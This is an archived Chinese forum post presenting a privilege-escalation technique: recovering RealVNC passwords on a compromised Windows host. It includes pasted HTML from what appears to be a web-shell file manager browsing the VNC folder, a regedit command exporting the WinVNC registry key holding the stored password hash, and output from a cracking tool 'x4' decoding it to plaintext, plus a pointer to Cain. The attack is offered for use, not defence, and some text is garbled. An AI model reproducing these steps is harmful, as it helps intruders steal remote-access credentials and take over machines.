另种提升系统权限-破解VNC4密码 - Powered by Discuz! Archiver

dirtysea 发表于 2006-4-3 23:11:43

另种提升系统权限--破解VNC4密码

<P>VNC (Virtual Network Computing)</P>
<P>默认安装在：C:\Program Files\RealVNC\VNC4\ 
<TABLE cellSpacing=1 cellPadding=0 width="100%" border=0>
<TBODY>
<TR class=am onmouseover="this.className='tr'" onmouseout="this.className='am'">
<TD width=180 height=20><FONT face=wingdings size=5>2</FONT> <A title="点击下载文件名: logmessages.dll大小：12K类型: 莱ノ祘Α耎?属性: 32时间：2004/6/14 ?と 05:34:24" href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\logmessages.dll","DownFile");'><FONT color=#000000>logmessages.dll</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\logmessages.dll","EditFile" target=_blank)'><FONT color=#000000>edit</FONT></A></TD>
<TD align=middle width=40><A &#111nclick="return yesok()" href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\logmessages.dll","DelFile")'><FONT color=#000000>del</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\logmessages.dll","CopyFile" target=_blank)'><FONT color=#000000>copy</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\logmessages.dll","MoveFile" target=_blank)'><FONT color=#000000>move</FONT></A></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=1 cellPadding=0 width="100%" border=0>
<TBODY>
<TR class=am onmouseover="this.className='tr'" onmouseout="this.className='am'">
<TD width=180 height=20><FONT face=wingdings size=5>2</FONT> <A title="点击下载文件名: unins000.dat大小：5K类型: DAT File属性: 32时间：2004/11/11 ?と 11:20:17" href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\unins000.dat","DownFile");'><FONT color=#000000>unins000.dat</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\unins000.dat","EditFile" target=_blank)'><FONT color=#000000>edit</FONT></A></TD>
<TD align=middle width=40><A &#111nclick="return yesok()" href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\unins000.dat","DelFile")'><FONT color=#000000>del</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\unins000.dat","CopyFile" target=_blank)'><FONT color=#000000>copy</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\unins000.dat","MoveFile" target=_blank)'><FONT color=#000000>move</FONT></A></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=1 cellPadding=0 width="100%" border=0>
<TBODY>
<TR class=tr onmouseover="this.className='tr'" onmouseout="this.className='am'">
<TD width=180 height=20><FONT face=wingdings size=5>2</FONT> <A title="点击下载文件名: unins000.exe大小：75K类型: 莱ノ祘Α属性: 32时间：2004/4/27 ?と 01:00:00" href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\unins000.exe","DownFile");'><FONT color=#000000>unins000.exe</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\unins000.exe","EditFile" target=_blank)'><FONT color=#000000>edit</FONT></A></TD>
<TD align=middle width=40><A &#111nclick="return yesok()" href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\unins000.exe","DelFile")'><FONT color=#000000>del</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\unins000.exe","CopyFile" target=_blank)'><FONT color=#000000>copy</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\unins000.exe","MoveFile" target=_blank)'><FONT color=#000000>move</FONT></A></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=1 cellPadding=0 width="100%" border=0>
<TBODY>
<TR class=am onmouseover="this.className='tr'" onmouseout="this.className='am'">
<TD width=180 height=20><FONT face=wingdings size=5>2</FONT> <A title="点击下载文件名: vncconfig.exe大小：128K类型: 莱ノ祘Α属性: 32时间：2004/6/15 ?と 02:29:10" href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\vncconfig.exe","DownFile");'><FONT color=#000000>vncconfig.exe</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\vncconfig.exe","EditFile" target=_blank)'><FONT color=#000000>edit</FONT></A></TD>
<TD align=middle width=40><A &#111nclick="return yesok()" href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\vncconfig.exe","DelFile")'><FONT color=#000000>del</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\vncconfig.exe","CopyFile" target=_blank)'><FONT color=#000000>copy</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\vncconfig.exe","MoveFile" target=_blank)'><FONT color=#000000>move</FONT></A></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=1 cellPadding=0 width="100%" border=0>
<TBODY>
<TR class=am onmouseover="this.className='tr'" onmouseout="this.className='am'">
<TD width=180 height=20><FONT face=wingdings size=5>2</FONT> <A title="点击下载文件名: vncviewer.exe大小：268K类型: 莱ノ祘Α属性: 32时间：2004/6/15 ?と 02:29:30" href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\vncviewer.exe","DownFile");'><FONT color=#000000>vncviewer.exe</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\vncviewer.exe","EditFile" target=_blank)'><FONT color=#000000>edit</FONT></A></TD>
<TD align=middle width=40><A &#111nclick="return yesok()" href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\vncviewer.exe","DelFile")'><FONT color=#000000>del</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\vncviewer.exe","CopyFile" target=_blank)'><FONT color=#000000>copy</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\vncviewer.exe","MoveFile" target=_blank)'><FONT color=#000000>move</FONT></A></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=1 cellPadding=0 width="100%" border=0>
<TBODY>
<TR class=am onmouseover="this.className='tr'" onmouseout="this.className='am'">
<TD width=180 height=20><FONT face=wingdings size=5>2</FONT> <A title="点击下载文件名: winvnc4.exe大小：372K类型: 莱ノ祘Α属性: 32时间：2004/6/15 ?と 02:29:42" href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\winvnc4.exe","DownFile");'><FONT color=#000000>winvnc4.exe</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\winvnc4.exe","EditFile" target=_blank)'><FONT color=#000000>edit</FONT></A></TD>
<TD align=middle width=40><A &#111nclick="return yesok()" href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\winvnc4.exe","DelFile")'><FONT color=#000000>del</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\winvnc4.exe","CopyFile" target=_blank)'><FONT color=#000000>copy</FONT></A></TD>
<TD align=middle width=40><A href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\winvnc4.exe","MoveFile" target=_blank)'><FONT color=#000000>move</FONT></A></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=1 cellPadding=0 width="100%" border=0>
<TBODY>
<TR class=am onmouseover="this.className='tr'" onmouseout="this.className='am'">
<TD width=180 height=20><FONT face=wingdings size=5>2</FONT> <A title="点击下载文件名: wm_hooks.dll大小：52K类型: 莱ノ祘Α耎?属性: 32时间：2004/6/14 ?と 05:35:28" href='&#106avascript:FullForm("C:\\Program Files\\RealVNC\\VNC4\\\\wm_hooks.dll","DownFile");'><FONT color=#000000>wm_hooks.dll</FONT></A></TD></TR></TBODY></TABLE></P>
<P>有两种方法： <BR>一、取得Registry值后的做法 <BR>取得\HKEY_CURRENT_USER\Software\ORL\WinVNC3\Password或者\HKEY_CURRENT_USER\Software\Realvnc\WinVNC4 <BR>下的字串值（如： 2F 98 1D C5 48 E0 9E C2），<BR>下载一个VNC4密码破解软件x4.exe，在命令模式下执行“x4 -w”，接下来输入一个码后按一次回车……最后密码就解出来了。</P>
<P>D:\WINNT\system32>regedit /e abc.reg HKEY_CURRENT_USER\Software\ORL\WinVNC3<BR><BR>D:\WINNT\system32>type abc.reg<BR>Windows Registry Editor Version 5.00<BR><BR><BR>"SocketConnect"=dword:00000001<BR>"AutoPortSelect"=dword:00000001<BR>"InputsEnabled"=dword:00000001<BR>"LocalInputsDisabled"=dword:00000000<BR>"QuerySetting"=dword:00000002<BR>"QueryTimeout"=dword:0000000a<BR>"Password"=hex:78,a7,71,d1,a0,7d,28,f6<BR>"PollUnderCursor"=dword:00000000<BR>"PollForeground"=dword:00000001<BR>"PollFullScreen"=dword:00000000<BR>"OnlyPollConsole"=dword:00000001<BR>"OnlyPollOnEvent"=dword:00000000<BR><BR><BR>D:\WINNT\system32><BR>哈哈，看到了没？？？"Password"=hex:78,a7,71,d1,a0,7d,28,f6　就是我梦寐以求的东东。<BR><BR>即然找到了所需要的东西，就让我们开始无聊的破解吧。（以下操作是在我的机器上）<BR>D:\x4>x4 -W<BR>78<BR>a7<BR>71<BR>d1<BR>a0<BR>7d<BR>28<BR>f6<BR>Entered HEX String: 78 a7 71 d1 a0 7d 28 f6<BR>VNC Password: hehe<BR><BR>嗯，密码是 hehe ,一切就是这么简单。要注意大小写的问题。<BR><BR>当我再用 vncviewer.exe 连接过去 <BR>一、直接使用cain来破解 </P>
<P>这个就很简单了，不再说明！祝你好运！</P>

超メ音速ツ 发表于 2006-2-23 08:41:00

re:另种提升系统权限--破解VNC4密码

页: [1]

运维之家's Archiver

另种提升系统权限--破解VNC4密码

re:另种提升系统权限--破解VNC4密码